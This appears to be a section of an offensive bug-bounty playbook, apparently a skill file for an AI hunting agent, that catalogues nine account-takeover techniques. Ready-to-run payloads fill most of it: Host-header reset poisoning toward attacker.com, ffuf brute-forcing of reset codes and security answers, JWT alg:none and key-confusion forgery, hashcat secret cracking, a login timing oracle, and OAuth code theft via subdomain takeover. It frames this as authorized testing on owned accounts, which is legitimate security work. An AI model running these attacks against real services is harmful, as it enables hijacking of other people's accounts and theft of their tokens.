13. ATO — ACCOUNT TAKEOVER TAXONOMY

9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.

Path 1: Password Reset Poisoning (Host-Header)

POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

email=victimB@company.com

The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.

Path 2: Reset Token in Referer / Open-Redirect Leak

GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.

Path 3: Predictable / Weak Reset Tokens

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.

Path 4: Token No-Expiry / Reuse / Cross-Account

Expiry:  request token → wait 2h → still valid? = bug
Reuse:   use token once → use again → still valid? = bug
Multi:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset

Path 5: Email Change Without Re-Auth

PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"}     # no current_password, no OTP, no email-confirm

If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.

Path 6: JWT Manipulation

# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)

Verified grounding for this class: CVE-2015-9235 (node jsonwebtoken <4.2.2 — alg confusion / none bypass), CVE-2016-10555 (jwt-simple RS256→HS256). Validate: forged token must reach a privileged endpoint as victim B (e.g. GET /api/admin or /api/users/B) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged sub and keys off the session cookie, the JWT is not the trust boundary — no finding.

Path 7: Password Change Without Step-Up + Login Oracle

# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"}          # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
  t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
  printf '%s\t%s\n' "$t" "$p"
done | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass

A no-step-up password-change endpoint is the persistence multiplier: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. False-positive check: confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).

Path 8: Social-Recovery / Security-Question Abuse

# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","question":"pet","answer":"FUZZ"}' \
  -w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)

Pair with offensive-osint: many "secret" answers (birth city, pet, school) are public on social profiles → no brute needed. Validate by completing the recovery flow end-to-end into a session on account B.

Path 9: SSO Subdomain Takeover at OAuth redirect_uri

# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
dig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)
# (c) claim that host on the cloud provider, serve a callback that logs the ?code=
# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain

Confirmation = OOB: the auth code (or implicit access_token) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely reflects an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — AADSTS50076 / claims-challenge responses contain a literal access_token substring inside the claims field that is NOT a usable token.

ATO Severity Gate

• Critical — zero/low victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.
• High — one email click OR a pre-existing session/cookie required (Referer leak, no-step-up password change behind cookie theft).
• Medium — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).
• Low — attacker must be MitM, or only self-account impact.

Related Skills & Chains

• hunt-idor — The most reliable ATO primitive that needs no email control and no race. Chain primitive: PATCH /api/users/{victimB_uid} with attacker-A session + victim UID + {"email":"attacker@evil.com"} → trigger password reset → reset email arrives at attacker → full ATO, zero victim interaction (Path 5 + IDOR = Critical).
• hunt-mfa-bypass — Path 7 is only Critical if it also bypasses MFA. Chain primitive: password-change endpoint accepts a new password with no current-password challenge AND no MFA step-up → cookie theft (XSS / token leak) + login timing oracle → set new password from the stolen cookie → MFA-less ATO from any IP/device.
• hunt-oauth — Path 9 lives here. Chain primitive: redirect_uri validation accepts subdomain match (*.target.com) + hunt-subdomain reveals a dangling CNAME on staging.target.com → claim it on Heroku/S3 → host an OAuth callback → victim clicks the crafted authorize URL → code lands on the attacker subdomain → exchange for token → ATO. Always JSON-parse OAuth error bodies; never substring-match access_token.
• hunt-api-misconfig — Path 6 (JWT) detail lives here too: alg:none, RS256→HS256 key confusion (sign with the JWKS public key as the HMAC secret), kid path-traversal / SQLi, and weak-secret cracking (hashcat -m 16500). Load it together with this skill for the JWK→PEM conversion mechanics.
• hunt-host-header — Path 1 canonical primitive. Chain primitive: POST /forgot-password with Host/X-Forwarded-Host: attacker.com → mailer builds the link from the request Host → link points to attacker.com/reset?token=XXXX → victim clicks → token leaked → ATO. Confirm via Collaborator-hosted domain reading the real email, not the reflected header.
• offensive-osint — Path 8 force-multiplier: most security-question answers (birth city, pet, first school, mother's maiden name) are OSINT-able from social profiles → recover account B with no brute force at all.
• security-arsenal — Pull the Password-Reset Bypass Tables (X-Forwarded-Host, X-Host, X-HTTP-Host-Override, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), the JWT attack table, and the always-rejected list for "rate-limit on /forgot-password" reports.
• triage-validation — Run the Pre-Severity Gate before claiming Critical on an ATO that needs the victim to click a link AND enter credentials AND pass CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough taking over test account B from attacker A's session) separates Critical-paid from Self-XSS-tier rejected.